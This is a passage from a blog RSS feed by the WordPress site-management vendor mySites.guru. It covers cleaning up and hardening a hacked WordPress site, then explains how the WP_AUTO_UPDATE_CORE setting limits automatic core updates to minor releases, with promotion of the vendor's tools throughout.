&lt;p&gt;&lt;img alt=&quot;mySites.guru built-in file editor showing a PHP file with syntax highlighting and save controls&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2334px) 2334px, 100vw&quot; width=&quot;2334&quot; height=&quot;1952&quot; src=&quot;https://mysites.guru/_astro/edit-file-tool.CPsxOZ7x_ZcdNDC.webp&quot; srcset=&quot;https://mysites.guru/_astro/edit-file-tool.CPsxOZ7x_Z2wwGBM.webp 640w, https://mysites.guru/_astro/edit-file-tool.CPsxOZ7x_Z1EyLmd.webp 750w, https://mysites.guru/_astro/edit-file-tool.CPsxOZ7x_2oSOTi.webp 828w, https://mysites.guru/_astro/edit-file-tool.CPsxOZ7x_Z1JkvTF.webp 1080w, https://mysites.guru/_astro/edit-file-tool.CPsxOZ7x_Z2v1jIv.webp 1280w, https://mysites.guru/_astro/edit-file-tool.CPsxOZ7x_1c0Xzi.webp 1668w, https://mysites.guru/_astro/edit-file-tool.CPsxOZ7x_14l3At.webp 2048w, https://mysites.guru/_astro/edit-file-tool.CPsxOZ7x_ZcdNDC.webp 2334w&quot; /&gt;&lt;/p&gt;
&lt;figcaption&gt;The built-in file editor lets you view and edit files directly on your server to remove malicious code&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Our step-by-step guide covers the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;full cleanup process&lt;/a&gt; using mySites.guru’s tools.&lt;/p&gt;
&lt;h3&gt;4. Find and remove backdoors&lt;/h3&gt;
&lt;p&gt;Most people stop after removing the visible malware. That’s why they get hacked again a week later.&lt;/p&gt;
&lt;p&gt;Attackers plant backdoor files in places you wouldn’t normally look, specifically so they can get back in after cleanup:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Inside legitimate-looking plugin files&lt;/li&gt;
&lt;li&gt;In your theme’s functions.php (buried among real code)&lt;/li&gt;
&lt;li&gt;As &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;dot-files&lt;/a&gt; (.htaccess modifications, hidden PHP files) that FTP clients don’t even show you&lt;/li&gt;
&lt;li&gt;In the uploads directory disguised as images&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;deep security audit&lt;/a&gt; catches these because it checks every single file against 20,000+ regex patterns and 14,000+ known-bad file hashes. It doesn’t just check the obvious locations - it scans your entire webspace, including the &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files and folders&lt;/a&gt; that most tools skip.&lt;/p&gt;
&lt;h3&gt;5. Update everything&lt;/h3&gt;
&lt;p&gt;After cleanup, update WordPress core, all plugins, and all themes to their latest versions. If you manage multiple sites, mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;bulk update tool&lt;/a&gt; lets you push updates across all of them from one dashboard. Remove any plugins or themes you’re not using - deactivated plugins are still attackable.&lt;/p&gt;
&lt;p&gt;Check your plugins against known vulnerabilities. mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;vulnerability alerting&lt;/a&gt; cross-references every plugin on your site against CVE databases and alerts you when a plugin has a known security hole - so you can patch it before it gets exploited again.&lt;/p&gt;
&lt;h3&gt;6. Set up monitoring&lt;/h3&gt;
&lt;p&gt;A clean site today can be compromised again tomorrow if you’re not watching it. mySites.guru gives you several layers of ongoing protection:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real-time file change alerts&lt;/a&gt; - get notified the moment any monitored file changes or an admin logs in&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;Scheduled security audits&lt;/a&gt; - automate daily or weekly scans so you don’t have to remember to run them&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;Uptime monitoring&lt;/a&gt; - know within minutes if your site goes down, which can be an early sign of a new attack&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Automated snapshots&lt;/a&gt; - twice-daily checks of 140+ configuration settings so you can spot anything that changes unexpectedly&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why do hacked WordPress sites keep getting reinfected?&lt;/h2&gt;
&lt;p&gt;Incomplete cleanup is the number one culprit. Miss one backdoor file and the attacker walks right back in. Often the first hack plants a dormant dropper that stays quiet through your cleanup, then &lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;reactivates days or weeks later in a second wave&lt;/a&gt; to install fresh backdoors.&lt;/p&gt;
&lt;p&gt;The other reason is that the thing rebuilding the malware is often not a file at all, so cleaning files never touches it. A scheduled event in the database, a must-use plugin, a drop-in or a hidden administrator account will all put a cleaned site straight back, and &lt;a href=&quot;https://mysites.guru/blog/wordpress-hacks-a-file-scan-cannot-see/&quot;&gt;none of them is something a file scan can see&lt;/a&gt;. Nor is &lt;a href=&quot;https://mysites.guru/blog/processes-running-deleted-code/&quot;&gt;a program that is still running from a file you already deleted&lt;/a&gt;, which is the version that puts the malware back within seconds.&lt;/p&gt;
&lt;p&gt;But even a perfect cleanup fails if you don’t fix the entry point. If a vulnerable plugin got you hacked and you clean the malware but leave the plugin at the same version, you’ll get hit through the same hole again. Same goes for weak passwords - if your admin account is still using “password123”, brute-force bots will find it.&lt;/p&gt;
&lt;h2&gt;When should you get professional help?&lt;/h2&gt;
&lt;p&gt;You can handle most WordPress hacks yourself with the right scanning tools. But consider getting professional help if:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Your hosting provider has suspended your account and won’t reinstate it&lt;/li&gt;
&lt;li&gt;The hack involves &lt;a href=&quot;https://mysites.guru/blog/wordpress-hacks-a-file-scan-cannot-see/&quot;&gt;malware living in the database&lt;/a&gt; rather than only in files&lt;/li&gt;
&lt;li&gt;Your site has been compromised for weeks or months and you’re unsure of the full scope&lt;/li&gt;
&lt;li&gt;You’re seeing signs of a targeted attack rather than an automated one&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; can help you understand exactly what each flagged file does, making it easier to decide whether to clean or delete it.&lt;/p&gt;
&lt;p&gt;If you’d rather hand the whole thing to someone who’s done it hundreds of times, the &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mySites.guru&lt;/a&gt; service covers the full cleanup - finding the entry point, removing every backdoor, updating everything, and locking the site down. One flat fee, no surprises.&lt;/p&gt;
&lt;h2&gt;How do you harden your WordPress site after cleanup?&lt;/h2&gt;
&lt;p&gt;Cleaning up the malware is half the job. The other half is understanding what’s actually running on your server and making sure it’s configured properly. Most site owners have no idea what’s under the hood - debug mode left on, outdated PHP versions, missing security headers, exposed log files. These are the gaps attackers walk through.&lt;/p&gt;
&lt;p&gt;mySites.guru runs &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;140+ best-practice checks&lt;/a&gt; on every site, twice a day. It flags the stuff you’d never think to check manually:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PHP version and configuration&lt;/strong&gt; - Running an outdated or end-of-life PHP version is an open invitation. The &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot tool&lt;/a&gt; shows you exactly which version each site runs and whether it meets current requirements.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Debug mode&lt;/strong&gt; - &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;WordPress debug constants&lt;/a&gt; left enabled on production sites leak error paths, database credentials, and internal file structures to anyone who knows where to look.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Security headers&lt;/strong&gt; - &lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;CSP, HSTS, X-Frame-Options, and Permissions-Policy&lt;/a&gt; defend against XSS, clickjacking, and protocol downgrade attacks. The snapshot checks all eight headers on every scan.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SSL certificates&lt;/strong&gt; - &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;Track every certificate’s expiry date&lt;/a&gt; and get alerted before it lapses. An expired cert kills trust and can tank your rankings.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hidden files&lt;/strong&gt; - &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;Dot-files and dot-folders&lt;/a&gt; that FTP clients and file managers don’t show you. Hackers love these blind spots.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disk space&lt;/strong&gt; - &lt;a href=&quot;https://mysites.guru/blog/about-the-disk-space-warnings-in-mysites-guru/&quot;&gt;Server disk monitoring&lt;/a&gt; catches partitions filling up before your site crashes. A full disk also prevents log rotation, which masks future attacks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Updates&lt;/strong&gt; - Keep core, plugins, and themes current. Use &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;bulk updates&lt;/a&gt; across multiple sites and remove anything you’re not actively using - deactivated plugins are still attackable code.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Access control&lt;/strong&gt; - Strong, unique passwords for every admin account. &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;Role-based permissions&lt;/a&gt; so team members only have the access they need. On client sites, &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;block plugin installs from the WordPress admin&lt;/a&gt; so no one introduces untested code.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;File monitoring&lt;/strong&gt; - &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real-time alerts&lt;/a&gt; when any monitored file changes or an admin logs in, plus &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduled security audits&lt;/a&gt; running daily or weekly so you catch issues before they become incidents.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Fix the hack, yes - but also understand your server’s configuration and apply best practice across every site you manage. That’s what stops the next attack.&lt;/p&gt;
&lt;h2&gt;Scan your site now&lt;/h2&gt;
&lt;p&gt;Catching a hack on day one is a 30-minute fix. Discovering it three weeks later, after Google has flagged your site and your rankings have tanked, is a different problem entirely.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Run a free security audit&lt;/a&gt; on your WordPress site. No credit card, takes about a minute, scans every file on the server.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;&lt;img alt=&quot;mySites.guru dashboard showing a hacked site with audit tools, security warnings, and one-click upgrade&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2398px) 2398px, 100vw&quot; width=&quot;2398&quot; height=&quot;1530&quot; src=&quot;https://mysites.guru/_astro/hacked-site-dashboard.DIM3clga_Z22M7q5.webp&quot; srcset=&quot;https://mysites.guru/_astro/hacked-site-dashboard.DIM3clga_Z1FHSQO.webp 640w, https://mysites.guru/_astro/hacked-site-dashboard.DIM3clga_Z19EIGT.webp 750w, https://mysites.guru/_astro/hacked-site-dashboard.DIM3clga_1S4e6h.webp 828w, https://mysites.guru/_astro/hacked-site-dashboard.DIM3clga_2sTaln.webp 1080w, https://mysites.guru/_astro/hacked-site-dashboard.DIM3clga_32nxr.webp 1280w, https://mysites.guru/_astro/hacked-site-dashboard.DIM3clga_1kQCWQ.webp 1668w, https://mysites.guru/_astro/hacked-site-dashboard.DIM3clga_ZVhPnk.webp 2048w, https://mysites.guru/_astro/hacked-site-dashboard.DIM3clga_Z22M7q5.webp 2398w&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If you manage multiple WordPress sites, mySites.guru scans and monitors all of them from &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;one dashboard&lt;/a&gt; - £19.99/month, no per-site fees.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;For the full picture, see our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;complete security guide for agencies&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>malware</category><category>hacked</category><enclosure url="https://mysites.guru/img/og/blog/is-my-wordpress-site-hacked.png" length="0" type="image/png"/></item><item><title>How to Enforce Minor Upgrades Only in WordPress</title><link>https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/</link><guid isPermaLink="true">https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/</guid><description>Stop WordPress from jumping major versions automatically while still getting security patches. How WP_AUTO_UPDATE_CORE works.</description><pubDate>Thu, 12 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We’ve been writing a lot about WordPress and Joomla automatic updates lately. Previous posts covered &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;stopping all WordPress auto-updates with one click&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;locking down plugin installs&lt;/a&gt;, and what happened when the &lt;a href=&quot;https://mysites.guru/blog/wordpress-6-9-2-security-release-crashes-websites/&quot;&gt;WordPress 6.9.2 security release crashed sites&lt;/a&gt;. On the Joomla side, we looked at &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;disabling Joomla’s new automated core upgrades&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;preventing accidental version jumps via update channels&lt;/a&gt;. This post covers the middle ground for WordPress: keep security patches coming, block major version jumps.&lt;/p&gt;
&lt;h2&gt;Why Aren’t All WordPress Updates Equal?&lt;/h2&gt;
&lt;p&gt;WordPress has two types of core update, and the difference matters if you manage production sites.&lt;/p&gt;
&lt;h3&gt;Minor updates&lt;/h3&gt;
&lt;p&gt;Minor updates (6.9 to 6.9.1, 6.9.1 to 6.9.2) are security patches and bug fixes. Small, targeted, designed not to break anything. WordPress has auto-applied these since version 3.7, and they rarely cause trouble. The &lt;a href=&quot;https://mysites.guru/blog/wordpress-6-9-2-security-release-crashes-websites/&quot;&gt;6.9.2 through 6.9.4 security releases&lt;/a&gt; are a recent example: patches that sites needed within hours.&lt;/p&gt;
&lt;h3&gt;Major updates&lt;/h3&gt;
&lt;p&gt;Major updates (6.8 to 6.9, &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-fully-compatible-with-wordpress-7/&quot;&gt;6.9 to 7.0 “Armstrong”&lt;/a&gt;) introduce new features, change admin interfaces, update database schemas, deprecate functions, and sometimes alter how plugins interact with core. These are the updates that break things.&lt;/p&gt;
&lt;p&gt;You want minor updates to happen automatically — security patches shouldn’t wait. But you want to control when major updates happen, because you want to test first. WordPress has a constant for this: &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;How mySites.guru Handles Minor-Only Updates&lt;/h2&gt;
&lt;p&gt;mySites.guru’s WordPress Configuration audit reads &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; from every connected site during each &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt;. The connector checks whether the constant is defined and whether its value is exactly &lt;code&gt;&apos;minor&apos;&lt;/code&gt;. If not, the audit flags it.&lt;/p&gt;
&lt;p&gt;Click fix, and the connector writes &lt;code&gt;define(&apos;WP_AUTO_UPDATE_CORE&apos;, &apos;minor&apos;)&lt;/code&gt; to wp-config.php on the remote site. No SSH, no file editing, no logging into each WordPress admin.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru WordPress Configuration audit showing WP_AUTO_UPDATE_CORE alongside other wp-config.php constants with one-click toggles&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1200px) 1200px, 100vw&quot; width=&quot;1200&quot; height=&quot;453&quot; src=&quot;https://mysites.guru/_astro/wp-auto-update-core-config-audit.BzN48oSw_Z1W9eSW.webp&quot; srcset=&quot;https://mysites.guru/_astro/wp-auto-update-core-config-audit.BzN48oSw_ZGrFri.webp 640w, https://mysites.guru/_astro/wp-auto-update-core-config-audit.BzN48oSw_1NdXd5.webp 750w, https://mysites.guru/_astro/wp-auto-update-core-config-audit.BzN48oSw_ZF1mPh.webp 828w, https://mysites.guru/_astro/wp-auto-update-core-config-audit.BzN48oSw_2r6a45.webp 1080w, https://mysites.guru/_astro/wp-auto-update-core-config-audit.BzN48oSw_Z1W9eSW.webp 1200w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;There’s a separate check for &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;&lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt;&lt;/a&gt; too, because these two constants interact:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;AUTOMATIC_UPDATER_DISABLED = true&lt;/code&gt; + &lt;code&gt;WP_AUTO_UPDATE_CORE = &apos;minor&apos;&lt;/code&gt; — No auto-updates at all (the disabled flag overrides everything)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AUTOMATIC_UPDATER_DISABLED = false&lt;/code&gt; + &lt;code&gt;WP_AUTO_UPDATE_CORE = &apos;minor&apos;&lt;/code&gt; — Only minor core updates auto-apply (the recommended setup)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you’ve already &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disabled the full auto-updater&lt;/a&gt; and want to re-enable just security patches, you need to set &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; back to &lt;code&gt;false&lt;/code&gt; while keeping &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; at &lt;code&gt;&apos;minor&apos;&lt;/code&gt;. The mySites.guru dashboard shows both constants side by side so you can configure each site to the exact update behaviour you want. See the full list of configuration checks on the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;features page&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What WP_AUTO_UPDATE_CORE Actually Does&lt;/h2&gt;
&lt;p&gt;This constant in wp-config.php accepts three values:&lt;/p&gt;





















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Value&lt;/th&gt;&lt;th&gt;Behaviour&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;&lt;td&gt;All core updates happen automatically (minor and major)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;&lt;td&gt;No core updates happen automatically&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;&apos;minor&apos;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Only minor/security updates happen automatically&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The default behaviour when the constant isn’t defined is that WordPress auto-applies minor updates. This has been the case since WordPress 3.7 introduced the automatic background update system.&lt;/p&gt;
&lt;p&gt;There’s another wrinkle: WordPress automatically &lt;a href=&quot;https://developer.wordpress.org/reference/classes/wp_automatic_updater/is_vcs_checkout/&quot;&gt;disables all background updates&lt;/a&gt; if it detects version control. The auto-updater checks for &lt;code&gt;.git&lt;/code&gt;, &lt;code&gt;.svn&lt;/code&gt;, &lt;code&gt;.hg&lt;/code&gt;, and &lt;code&gt;.bzr&lt;/code&gt; directories, walking up from ABSPATH to the filesystem root. If it finds one, it won’t auto-update anything - core, plugins, themes, or translations. The logic is in &lt;code&gt;WP_Automatic_Updater::is_vcs_checkout()&lt;/code&gt;, and you can override it with the &lt;code&gt;automatic_updates_is_vcs_checkout&lt;/code&gt; filter if you want auto-updates on a version-controlled site. But if you’re deploying via Git and wondering why &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; seems to do nothing, this is probably why.&lt;/p&gt;
&lt;p&gt;The other common problem: many hosting providers, one-click installers, and site migration tools set &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; or leave it undefined, which can result in major updates being applied without warning.&lt;/p&gt;
&lt;p&gt;Note that &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; only controls WordPress core updates. Plugin and theme auto-updates are managed separately through the WordPress admin or with the &lt;code&gt;auto_update_plugin&lt;/code&gt; and &lt;code&gt;auto_update_theme&lt;/code&gt; filters. If you want to &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;stop all automatic updates entirely&lt;/a&gt;, you need the &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; constant instead — but for most sites, minor-only core updates make more sense.&lt;/p&gt;
&lt;h2&gt;Why Are Major WordPress Auto-Updates Risky?&lt;/h2&gt;
&lt;p&gt;When major updates happen unattended, things break. A plugin that worked on 6.8 might call a function that’s deprecated or removed in 6.9. The plugin author might have an update ready, but if WordPress core updates first, the site is down before anyone notices. Watching for &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;plugin vulnerabilities&lt;/a&gt; matters here too - a vulnerable plugin on a freshly updated core is a bad combination. The &lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;WordPress vulnerability scanner&lt;/a&gt; gives you a cross-site view of every known CVE affecting your installed plugins.&lt;/p&gt;
&lt;p&gt;Themes are another weak point. Major updates sometimes change template hierarchy, block editor behaviour, or CSS loading order. Custom themes get hit hardest because they’re rarely tested against pre-release WordPress builds. We saw this play out in real time when &lt;a href=&quot;https://mysites.guru/blog/wordpress-6-9-2-security-release-crashes-websites/&quot;&gt;WordPress 6.9.2 crashed sites&lt;/a&gt; running certain theme frameworks — a security auto-update broke front-end rendering, and it took three releases in two days to sort it out.&lt;/p&gt;
&lt;p&gt;Database schema changes are the scariest part. Major updates occasionally modify tables, and if the update process gets interrupted — server timeout, resource limits, a flaky connection — you can end up with a half-migrated database that neither the old nor the new code can work with.&lt;/p&gt;
&lt;p&gt;And automatic updates skip staging entirely. You go from “everything works” to “production is updated and you hope it works.”&lt;/p&gt;
&lt;h2&gt;How Do You Set Up WordPress Minor-Only Updates Manually?&lt;/h2&gt;
&lt;p&gt;To restrict auto-updates to minor versions only, add this to wp-config.php:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;define&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;WP_AUTO_UPDATE_CORE&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;minor&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Place it before the &lt;code&gt;/* That&apos;s all, stop editing! */&lt;/code&gt; comment. If the constant already exists with a different value, change it.&lt;/p&gt;
&lt;p&gt;For a single site, this is a two-minute job. For a portfolio of WordPress sites, the process looks more like:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;SSH into each server (or use file manager on each hosting account)&lt;/li&gt;
&lt;li&gt;Check the current value of &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Set it to &lt;code&gt;&apos;minor&apos;&lt;/code&gt; if it’s not already&lt;/li&gt;
&lt;li&gt;Verify the change took effect&lt;/li&gt;
&lt;li&gt;Repeat for every site&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;And then keep checking. WordPress upgrades, hosting migrations, and platform auto-configuration tools can reset the value without telling you. You should also consider &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;locking down plugin installs&lt;/a&gt; so that no one introduces untested code while you’re carefully managing core updates.&lt;/p&gt;
&lt;h2&gt;The recommended WordPress update setup for production sites&lt;/h2&gt;
&lt;p&gt;The best approach is to &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable automatic updates entirely&lt;/a&gt; and manage all updates through a proper deployment strategy: take &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backups&lt;/a&gt; first, test on staging, then &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;roll out in batches&lt;/a&gt; using the &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;bulk update WordPress&lt;/a&gt; tool so a bad update doesn’t hit every site at once. That’s how agencies and hosting providers who &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;manage large numbers of WordPress sites&lt;/a&gt; handle it.&lt;/p&gt;
&lt;p&gt;But if you can’t commit to that workflow — maybe you don’t have staging environments for every site, or you don’t check for updates often enough — then minor-only auto-updates are a reasonable fallback:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Set &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; to &lt;code&gt;&apos;minor&apos;&lt;/code&gt; so security patches still come through&lt;/li&gt;
&lt;li&gt;Leave &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; at &lt;code&gt;false&lt;/code&gt; so the update mechanism actually works&lt;/li&gt;
&lt;li&gt;Turn off individual plugin and theme auto-updates — handle those through your own workflow&lt;/li&gt;
&lt;li&gt;Use mySites.guru to see available major updates across all sites and apply them when you’re ready&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It’s a compromise. You’re trading some control for the assurance that critical security patches won’t sit waiting while you get around to them.&lt;/p&gt;
&lt;h2&gt;Auditing This Setting Across Every Site&lt;/h2&gt;
&lt;p&gt;mySites.guru also lets you view &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; across every connected WordPress site on a single screen. You can see which sites have it set correctly, which ones don’t, and toggle each one individually without leaving the page.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;WP_AUTO_UPDATE_CORE status across all WordPress sites in mySites.guru, with per-site toggles&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1200px) 1200px, 100vw&quot; width=&quot;1200&quot; height=&quot;955&quot; src=&quot;https://mysites.guru/_astro/wp-auto-update-core-all-sites.CBPCErk6_2aekvW.webp&quot; srcset=&quot;https://mysites.guru/_astro/wp-auto-update-core-all-sites.CBPCErk6_ezz2F.webp 640w, https://mysites.guru/_astro/wp-auto-update-core-all-sites.CBPCErk6_Z1R0T87.webp 750w, https://mysites.guru/_astro/wp-auto-update-core-all-sites.CBPCErk6_1londN.webp 828w, https://mysites.guru/_astro/wp-auto-update-core-all-sites.CBPCErk6_uqTHG.webp 1080w, https://mysites.guru/_astro/wp-auto-update-core-all-sites.CBPCErk6_2aekvW.webp 1200w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If you manage 20 sites, you fix 20 sites from one screen. If you manage 200, same screen. No spreadsheets, no SSH sessions, no logging into each WordPress admin to check a value buried in wp-config.php.&lt;/p&gt;
&lt;h2&gt;Ongoing monitoring with mySites.guru&lt;/h2&gt;
&lt;p&gt;Once minor-only updates are configured, mySites.guru keeps checking. The audit dashboard shows which sites have the correct setting, which have pending major updates, which have the auto-updater disabled entirely, and any sites where the configuration has drifted from what you set.&lt;/p&gt;
&lt;p&gt;This is how we handle other wp-config.php constants too — &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;debug settings&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;DISALLOW_FILE_MODS&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;the WordPress admin bar logo&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/&quot;&gt;leftover default content like the Sample Page&lt;/a&gt;. Monitor on every snapshot, flag anything that changed, offer a one-click fix.&lt;/p&gt;
